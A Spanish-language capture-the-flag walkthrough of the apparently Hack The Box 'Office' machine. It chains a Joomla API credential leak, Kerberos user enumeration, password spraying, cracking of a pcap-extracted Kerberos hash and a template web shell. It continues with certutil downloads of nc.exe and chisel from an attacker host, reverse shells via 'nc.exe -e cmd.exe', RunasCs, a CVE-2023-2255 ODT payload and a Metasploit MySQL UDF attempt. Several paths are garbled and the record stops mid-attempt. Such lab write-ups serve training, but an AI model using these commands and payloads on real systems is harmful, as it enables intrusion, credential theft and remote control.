Office

nmap

```
nmap -sC -sV 10.10.11.3
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-10 15:29 CET
Nmap scan report for 10.10.11.3
Host is up (0.14s latency).
Not shown: 988 filtered tcp ports (no-response)
PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
80/tcp   open  http          Apache httpd 2.4.56 ((Win64) OpenSSL/1.1.1t PHP/8.0.28)
| http-robots.txt: 16 disallowed entries (15 shown)
| /joomla/administrator/ /administrator/ /api/ /bin/
| /cache/ /cli/ /components/ /includes/ /installation/
|_/language/ /layouts/ /libraries/ /logs/ /modules/ /plugins/
|_http-server-header: Apache/2.4.56 (Win64) OpenSSL/1.1.1t PHP/8.0.28
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2024-03-10 22:29:37Z)
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: office.htb0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=DC.office.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC.office.htb
| Not valid before: 2023-05-10T12:36:58
|_Not valid after:  2024-05-09T12:36:58
443/tcp  open  ssl/http      Apache httpd 2.4.56 (OpenSSL/1.1.1t PHP/8.0.28)
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
|_  http/1.1
| ssl-cert: Subject: commonName=localhost
| Not valid before: 2009-11-10T23:48:47
|_Not valid after:  2019-11-08T23:48:47
|_http-server-header: Apache/2.4.56 (Win64) OpenSSL/1.1.1t PHP/8.0.28
|_http-title: 403 Forbidden
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: office.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC.office.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC.office.htb
| Not valid before: 2023-05-10T12:36:58
|_Not valid after:  2024-05-09T12:36:58
|_ssl-date: TLS randomness does not represent time
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: office.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC.office.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC.office.htb
| Not valid before: 2023-05-10T12:36:58
|_Not valid after:  2024-05-09T12:36:58
|_ssl-date: TLS randomness does not represent time
3269/tcp open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: office.htb0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=DC.office.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC.office.htb
| Not valid before: 2023-05-10T12:36:58
|_Not valid after:  2024-05-09T12:36:58
Service Info: Hosts: DC, www.example.com; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode:
|   3:1:1:
|_    Message signing enabled and required
|_clock-skew: 7h59m54s
| smb2-time:
|   date: 2024-03-10T22:30:23
|_  start_date: N/A

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 106.08 seconds

#Podemos ver un dominio en el dns:
DC.office.htb

cat /etc/hosts
```

10.10.11.3 dc.office.htb

#La página está creada con log4-console.
#Miraremos si hay alguna vulnerabilidad conocida del entorno:
#Encontramos un sript de log4-console.
git clone https://github.com/kozmer/log4j-shell-poc

#Vamos a: http://office.htb/administrator/
#Vemos una página de login.
#Podemos ver la versión en: http://office.htb/administrator/manifests/files/joomla.xml
</license>
<version>4.2.7</version>
<creationDate>2023-01</c

#Existe un exploit, lo visualizamos:
https://www.exploit-db.com/exploits/51334?source=post_page-----102fbf9e8203----------------------------
#Vamos al enpoint vulnerable
http://office.htb/api/index.php/v1/config/application?public=true

links
self "http://office.htb/api/index.php/v1/config/application?public=true"
next "http://office.htb/api/index.php/v1/config/application?public=true&page%5Boffset%5D=20&page%5Blimit%5D=20"
last "http://office.htb/api/index.php/v1/config/application?public=true&page%5Boffset%5D=60&page%5Blimit%5D=20"
data
0
type "application"
id "224"
attributes
offline false
id 224
1
type "application"
id "224"
attributes
offline_message "This site is down for maintenance.
Please check back again soon."
id 224
2
type "application"
id "224"
attributes
display_offline_message 1
id 224
3
type "application"
id "224"
attributes
offline_image ""
id 224
4
type "application"
id "224"
attributes
sitename "Holography Industries"
id 224
5
type "application"
id "224"
attributes
editor "tinymce"
id 224
6
type "application"
id "224"
attributes
captcha "0"
id 224
7
type "application"
id "224"
attributes
list_limit 20
id 224
8
type "application"

```
id    "224"
attributes
access   1
id    224
9
type      "application"
id    "224"
attributes
debug   false
id    224
10
type      "application"
id    "224"
attributes
debug_lang  false
id    224
11
type      "application"
id    "224"
attributes
debug_lang_const    true
id    224
12
type      "application"
id    "224"
attributes
dbtype   "mysqli"
id    224
13
type      "application"
id    "224"
attributes
host      "localhost"
id    224
14
type      "application"
id    "224"
attributes
user      "root"
id    224
15
type      "application"
id    "224"
attributes
password     "H0lOgrams4reTakIng0Ver754!"
id    224
16
type      "application"
id    "224"
attributes
db   "joomla_db"
id    224
17
type      "application"
id    "224"
attributes
dbprefix      "if2tx_"
id    224
18
type      "application"
id    "224"
attributes
dbencryption     0
id    224
19
type      "application"
id    "224"
attributes
dbsslverifyservercert       false
id    224
meta
total-pages   4
```


#Vemos unas credenciales.

user --> root
passwd --> H0lOgrams4reTakIng0Ver754!

#Probamos a hacer login en el panel de joola, sin éxito.
#Como kerberos, se encuentra abierto probaremos a enumerar usuarios.
./kerbrute_linux_amd64 userenum -d office.htb --dc dc.office.htb /usr/share/wordlists/seclists/Passwords/xato-net-10-million-passwords.txt

```
    __           __               __
   / /_____  _____/ /_  _______  __/ /____
  / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
 / ,< /  __/ /  / /_/ / /  / /_/ / /_/  __/
/_/|_|\___/_/   /_.___/_/   \__,_/\__/\___/

Version: v1.0.3 (9dad6e1) - 04/05/24 - Ronnie Flathers @ropnop

2024/04/05 23:57:44 >  Using KDC(s):
2024/04/05 23:57:44 >   dc.office.htb:88

2024/04/06 00:04:34 >  [+] VALID USERNAME:       administrator@office.htb
2024/04/06 00:15:38 >  [+] VALID USERNAME:       etower@office.htb
2024/04/06 00:25:07 >  [+] VALID USERNAME:       dlanor@office.htb
2024/04/06 01:19:37 >  [+] VALID USERNAME:       dmichael@office.htb
2024/04/06 01:47:34 >  [+] VALID USERNAME:       ETOWER@office.htb
2024/04/06 02:29:40 >  [+] VALID USERNAME:       ewhite@office.htb
2024/04/06 02:43:36 >  [+] VALID USERNAME:       Administrator@office.htb
2024/04/06 04:23:27 >  [+] VALID USERNAME:       dwolfe@office.htb
```

#Una vez, tenemos los usuarios, probaremos con la pass en crackmapexec.
#Intentaremos hacer login en el recurso SMB.
vim ./user.txt

```
dwolfe
Administrator
ewhite
ETOWER
dmichael
dlanor
etower
administrator
```

crackmapexec

```
crackmapexec smb 10.10.11.3 -u user.txt -p 'H0lOgrams4reTakIng0Ver754!' --shares
SMB         10.10.11.3     445    DC               [*] Windows 10.0 Build 20348 (name:DC) (domain:office.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.3     445    DC               [+] office.htb\dwolfe:H0lOgrams4reTakIng0Ver754!
SMB         10.10.11.3     445    DC               [+] Enumerated shares
SMB         10.10.11.3     445    DC               Share           Permissions     Remark
SMB         10.10.11.3     445    DC               -----           -----------     ------
SMB         10.10.11.3     445    DC               ADMIN$                          Remote Admin
SMB         10.10.11.3     445    DC               C$                              Default share
SMB         10.10.11.3     445    DC               IPC$            READ            Remote IPC
SMB         10.10.11.3     445    DC               NETLOGON        READ            Logon server share
SMB         10.10.11.3     445    DC               SOC Analysis    READ
SMB         10.10.11.3     445    DC               SYSVOL          READ            Logon server share


#Ahora, usaremos la herramenta smbclient para conectarnos al recurso smb para el usuario dwolfe.

smbclient //10.10.11.3/'SOC Analysis' --user dwolfe
Password for [WORKGROUP\dwolfe]:
Try "help" to get a list of possible commands.
smb: \> dir
  .                                   D        0  Wed May 10 20:52:24 2023
  ..                                 DHS        0  Wed Feb 14 11:18:31 2024
  Latest-System-Dump-8fbc124d.pcap      A  1372860  Mon May  8 02:59:00 2023

                6265599 blocks of size 4096. 1220235 blocks available
smb: \> get Latest-System-Dump-8fbc124d.pcap
getting file \Latest-System-Dump-8fbc124d.pcap of size 1372860 as Latest-System-Dump-8fbc124d.pcap (771.0 KiloBytes/sec) (average 771.0 KiloBytes/sec)

#Vemos un ficher.pcap y lo descargamos.
#Lo abrimos con wireshark:
#Nos fijamos en este frageneto donde se sutiliza el protocolo Kerberos.
1917        7.803090 10.250.0.41     10.250.0.30     KRB5        323  AS-REQ

#Frame 1917: 323 bytes on wire (2584 bits), 323 bytes captured (2584 bits) on interface unknown, id 0
    Section number: 1
    Interface id: 0 (unknown)
    Encapsulation type: Ethernet (1)
    Arrival Time: May  8, 2023 02:57:21.409088000 CEST
    UTC Arrival Time: May  8, 2023 00:57:21.409088000 UTC
    Epoch Arrival Time: 1683507441.409088000
    [Time shift for this packet: 0.000000000 seconds]
    [Time delta from previous captured frame: 0.000000000 seconds]
    [Time delta from previous displayed frame: 0.000000000 seconds]
    [Time since reference or first frame: 7.803090000 seconds]
    Frame Number: 1917
    Frame Length: 323 bytes (2584 bits)
    Capture Length: 323 bytes (2584 bits)
    [Frame is marked: False]
    [Frame is ignored: False]
    [Protocols in frame: eth:ethertype:ip:tcp:kerberos]
    [Coloring Rule Name: TCP]
    [Coloring Rule String: tcp]
Ethernet II, Src: PCSSystemtec_a4:08:70 (08:00:27:a4:08:70), Dst: PCSSystemtec_34:d8:9e (08:00:27:34:d8:9e)
    Destination: PCSSystemtec_34:d8:9e (08:00:27:34:d8:9e)
    Source: PCSSystemtec_a4:08:70 (08:00:27:a4:08:70)
    Type: IPv4 (0x0800)
Internet Protocol Version 4, Src: 10.250.0.41, Dst: 10.250.0.30
    0100 .... = Version: 4
    .... 0101 = Header Length: 20 bytes (5)
    Differentiated Services Field: 0x00 (DSCP: CS0, ECN: Not-ECT)
    Total Length: 309
    Identification: 0x6fd1 (28625)
    010. .... = Flags: 0x2, Don't fragment
    ...0 0000 0000 0000 = Fragment Offset: 0
    Time to Live: 64
    Protocol: TCP (6)
    Header Checksum: 0xb3b7 [validation disabled]
    [Header checksum status: Unverified]
    Source Address: 10.250.0.41
    Destination Address: 10.250.0.30
```

Transmission Control Protocol, Src Port: 33550, Dst Port: 88, Seq: 1, Ack: 1, Len: 257
    Source Port: 33550
    Destination Port: 88
    [Stream index: 23]
    [Conversation completeness: Complete, WITH_DATA (63)]
    [TCP Segment Len: 257]
    Sequence Number: 1   (relative sequence number)
    Sequence Number (raw): 73981869
    [Next Sequence Number: 258   (relative sequence number)]
    Acknowledgment Number: 1   (relative ack number)
    Acknowledgment number (raw): 527117312
    1000 .... = Header Length: 32 bytes (8)
    Flags: 0x018 (PSH, ACK)
    Window: 502
    [Calculated window size: 64256]
    [Window size scaling factor: 128]
    Checksum: 0x5431 [unverified]
    [Checksum Status: Unverified]
    Urgent Pointer: 0
    Options: (12 bytes), No-Operation (NOP), No-Operation (NOP), Timestamps
    [Timestamps]
    [SEQ/ACK analysis]
    TCP payload (257 bytes)
    [PDU Size: 257]
Kerberos
    Record Mark: 253 bytes
    as-req
        pvno: 5
        msg-type: krb-as-req (10)
        padata: 2 items
            PA-DATA pA-ENC-TIMESTAMP
                padata-type: pA-ENC-TIMESTAMP (2)
                    padata-value:
3041a003020112a23a0438a16f4806da05760af63c566d566f071c5bb35d0a414459417613a9d67932a6735704d0832767af226aaa7360338a34746a00a3765386f5fc
                        etype: eTYPE-AES256-CTS-HMAC-SHA1-96 (18)
                        cipher: a16f4806da05760af63c566d566f071c5bb35d0a414459417613a9d67932a6735704d0832767af226aaa7360338a34746a00a3765386f5fc
            PA-DATA pA-PAC-REQUEST
                padata-type: pA-PAC-REQUEST (128)
                    padata-value: 3005a0030101ff
                        include-pac: True
        req-body

#Trataremos de convertir este valor por uno con formato kerberos. $krb5$
https://medium.com/@robert.broeckelmann/kerberos-wireshark-captures-a-windows-login-example-151fabf3375a

pa-data: Pre-Authentication data field that contains an authentication header (see below).

1. Cojemos el valor de chiper:

```
a16f4806da05760af63c566d566f071c5bb35d0a414459417613a9d67932a6735704d0832767af226aaa7360338a34746a00a3765386f5fc
```

2. Añadimos el valor de $KRB5PA$ al principio del string.
-Tambíen tendremos que añadir $18
-Cojemos el valor del CNAME:
kerberos.CNameString tstark

3. Juntamos todo y nos quedará algo así:
Possible algorithms: Kerberos 5, etype 18, Pre-Auth

```
$krb5pa$18$tstark$OFFICE.HTB$a16f4806da05760af63c566d566f071c5bb35d0a414459417613a9d67932a6735704d0832767af226aaa7360338a34746a00a3765386f5fc
```

#Ahora crackerarmos el hash con hashcat.

hashcat -m 19900 hash.txt /usr/share/wordlists/rockyou.txt
hashcat (v6.2.6) starting

OpenCL API (OpenCL 3.0 PoCL 4.0+debian Linux, None+Asserts, RELOC, SPIR, LLVM 15.0.7, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
==========

=======
* Device #1: cpu-haswell-Intel(R) Core(TM) i5-10400F CPU @ 2.90GHz, 2201/4466 MB (1024 MB allocatable), 8MCU

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256

Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1

Optimizers applied:
* Zero-Byte
* Not-Iterated
* Single-Hash
* Single-Salt
* Slow-Hash-SIMD-LOOP

Watchdog: Temperature abort trigger set to 90c

Host memory required for this attack: 2 MB

Dictionary cache hit:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385

$krb5pa$18$tstark$OFFICE.HTB$a16f4806da05760af63c566d566f071c5bb35d0a414459417613a9d67932a6735704d0832767af226aaa7360338a34746a00a3765386f5fc:playboy69

#Ya tenemos credenciales:
user → administrator
passwd → playboy69

#Hacemos login en el panel de joomla.
#Nos dirigimos a System > Site Template > Template

#Nos indica esto cuando entramos

> We have detected that your server is using PHP 8.0.28 which is obsolete and no longer receives official security updates by its developers. The Joomla! Project recommends upgrading your site to PHP 8.1 or later which will receive security updates at least until 2024-11-25.
>
> Please ask your host to make PHP 8.1 or a later version the default version for your site. If your host is already PHP 8.1 ready please enable PHP 8.1 on your site's root and 'administrator' directories – typically you can do this yourself through a tool in your hosting control panel, but it's best to ask your host if you are unsure.

#Cambiaremos el index.php (/templates/cassiopeia/index.php) por pownyshell.
#Si vamos a: http://office.htb/templates/cassiopeia/index.php, tenemos el pownyshell.

web_account@DC:C:\xampp\htdocs\joomla\templates\cassiopeia# whoami
office\web_account

web_account@DC:C:\ProgramData# certutil.exe -urlcache -split -f http://10.10.16.77/nc.exe nc.exe
**** Online ****
0000 ...
96d8
CertUtil: -URLCache command completed successfully.

web_account@DC:C:\ProgramData# .\nc.exe -e cmd.exe 10.10.16.77 4444

#En la máquina atacante:

nc -nlvp 4444
listening on [any] 4444 ...
connect to [10.10.16.77] from (UNKNOWN) [10.10.11.3] 53082
Microsoft Windows [Version 10.0.20348.2322]
(c) Microsoft Corporation. All rights reserved.

C:\ProgramData>whoami
whoami
office\web_account

```
C:\ProgramData>powershell

curl http://10.10.16.77:80/Invoke-RunasCs.ps1 -o Invoke-RunasCs.ps1
Import-Module ./Invoke-RunasCs.ps1

Invoke-RunasCs -Username tstark -Password playboy69 -Command "C:\ProgramData\nc.exe -e cmd.exe 10.10.16.77 5555"


nc -nlvp 5555
listening on [any] 5555 ...
connect to [10.10.16.77] from (UNKNOWN) [10.10.11.3] 54235
Microsoft Windows [Version 10.0.20348.2322]
(c) Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
whoami
office\tstark

C:\Windows\system32>

certutil.exe -urlcache -split -f http://10.10.16.77:80/chisel.exe chisel.exe
```

priv_escalation

C:\Users\tstark\Desktop>netstat -avn
netstat -avn

Active Connections

Proto	Local Address	Foreign Address	State
TCP	[::]:3306	[::]:0	LISTENING
TCP	[::]:3389	[::]:0	LISTENING
TCP	[::]:5985	[::]:0	LISTENING
TCP	[::]:8083	[::]:0	LISTENING
TCP	[::]:9389	[::]:0	LISTENING
TCP	[::]:47001	[::]:0	LISTENING
TCP	[::]:49664	[::]:0	LISTENING

#Vemos el puerto 8083 abierto. Haremos un port forwaring con chisel
#Subiremos el chisel.exe para poder establecer la conexión.

PS C:\programdata> certutil.exe -urlcache -split -f http://10.10.16.77:80/chisel.exe chisel.exe
certutil.exe -urlcache -split -f http://10.10.16.77:80/chisel.exe chisel.exe
**** Online ****
000000 ...
896c00
CertUtil: -URLCache command completed successfully.
PS C:\programdata> chisel.exe client 10.10.16.77:1133 R:8083:127.0.0.1:8083

#En localhost.
chisel server --port 1133 --reverse
2024/04/09 17:44:43 server: Reverse tunnelling enabled
2024/04/09 17:44:43 server: Fingerprint 4JdQgjLtZ5zX6aQk2kHaCOAo506D8tLtuJ8tT9TWeE4=
2024/04/09 17:44:43 server: Listening on http://0.0.0.0:1133
2024/04/09 17:46:13 server: session#1: Client version (1.9.1) differs from server version (1.9.1-0kali1)
2024/04/09 17:46:13 server: session#1: tun: proxy#R:8083=>8083: Listening

#Nos dirigimos a http://127.0.0.1:8083/
#Luego, vamos a: http://127.0.0.1:8083/resume.php
#Se trata de una página para subir ficheros CSV.
#Trataremos de subir un ficho .odt
#Parece que hay un error debido a un formato requerido. Cree un archivo ODT para cargarlo. Puede utilizar esta prueba de concepto (POC): CVE-2023-2255, disponible en GitHub.
git clone https://github.com/elweth-sec/CVE-2023-2255.git
Cloning into 'CVE-2023-2255'...
remote: Enumerating objects: 10, done.
remote: Counting objects: 100% (10/10), done.
remote: Compressing objects: 100% (8/8), done.
remote: Total 10 (delta 2), reused 5 (delta 0), pack-reused 0
Receiving objects: 100% (10/10), 8.47 KiB | 289.00 KiB/s, done.
Resolving deltas: 100% (2/2), done.

python3 CVE-2023-2255.py --cmd 'c:\UsersPubliccxk.exe' --output cxk.odt
File cxk.odt has been created !

msf6 exploit(multi/mysql/mysql_udf_payload) > show options

Module options (exploit/multi/mysql/mysql_udf_payload):

Name	Current Setting	Required	Description
FORCE_UDF_UPLOAD	false	no	Always attempt to install a sys_exec() mysql.function.
PASSWORD	H0lOgrams4reTakIng0Ver754!	no	The password for the specified username
RHOSTS	127.0.0.1	yes	The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT	3306	yes	The target port (TCP)
SSL	false	no	Negotiate SSL for incoming connections
SSLCert		no	Path to a custom SSL certificate (default is randomly generated)
URIPATH	C:xamppmysqllibplugin	no	The URI to use for this exploit (default is random)
USERNAME	root	no	The username to authenticate as

When CMDSTAGER::FLAVOR is one of auto,tftp,wget,curl,fetch,lwprequest,psh_invokewebrequest,ftp_http:

Name	Current Setting	Required	Description
SRVHOST	10.10.16.77	yes	The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT	8080	yes	The local port to listen on.

Payload options (linux/x86/meterpreter/reverse_tcp):

Name	Current Setting	Required	Description
LHOST	10.10.16.77	yes	The listen address (an interface may be specified)
LPORT	5555	yes	The listen port

Exploit target:

Id	Name
0	Windows

View the full module info with the info, or info -d command.

```
msf6 exploit(multi/mysql/mysql_udf_payload) > dir
[*] exec: dir

AppSanity  Cherry  Crafty  FormulaX  Hospital  Jab  Manager  Monitored  Office  Skyfall  Surveillance  TwoMillion  WifineticTwo  lab_Alle.ovpn
msf6 exploit(multi/mysql/mysql_udf_payload) > exploit

[*] Started reverse TCP handler on 10.10.16.77:5555
[*] 127.0.0.1:3306 - Checking target architecture...
[*] 127.0.0.1:3306 - Checking for sys_exec()...
[*] 127.0.0.1:3306 - Checking target architecture...
[*] 127.0.0.1:3306 - Checking for MySQL plugin directory...
[*] 127.0.0.1:3306 - Target arch (win64) and target path both okay.
[*] 127.0.0.1:3306 - Uploading lib_mysqludf_sys_64.dll library to C:/xampp/mysql/lib/plugin/vRHNojOi.dll...
[-] 127.0.0.1:3306 - MySQL Error: Mysql::ServerError::OptionPreventsStatement The MariaDB server is running with the --secure-file-priv option so it cannot execute this
statement
[-] 127.0.0.1:3306 - MySQL Error: Mysql::ServerError::CantOpenLibrary Can't open shared library 'vRHNojOi.dll' (errno: 0, The specified module could not be found.
)
[*] 127.0.0.1:3306 - Checking for sys_exec()...
[*] 127.0.0.1:3306 - MySQL function sys_exec() not available
[*] Exploit completed, but no session was created.
msf6 exploit(multi/mysql/mysql_udf_payload) > show options
```

Module options (exploit/multi/mysql/mysql_udf_payload):

Name	Current Setting	Required	Description
FORCE_UDF_UPLOAD	false	no	Always attempt to install a sys_exec() mysql.function.
PASSWORD	H0lOgrams4reTakIng0Ver754!	no	The password for the specified username
RHOSTS	127.0.0.1	yes	The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT	3306	yes	The target port (TCP)
SSL	false	no	Negotiate SSL for incoming connections
SSLCert		no	Path to a custom SSL certificate (default is randomly generated)
URIPATH	C:xamppmysqllibplugin	no	The URI to use for this exploit (default is random)
USERNAME	root	no	The username to authenticate as

When CMDSTAGER::FLAVOR is one of auto,tftp,wget,curl,fetch,lwprequest,psh_invokewebrequest,ftp_http:

Name	Current Setting	Required	Description
SRVHOST	10.10.16.77	yes	The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT	8080	yes	The local port to listen on.

Payload options (linux/x86/meterpreter/reverse_tcp):

```
   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  10.10.16.77      yes       The listen address (an interface may be specified)
   LPORT  5555             yes       The listen port
```

Exploit target: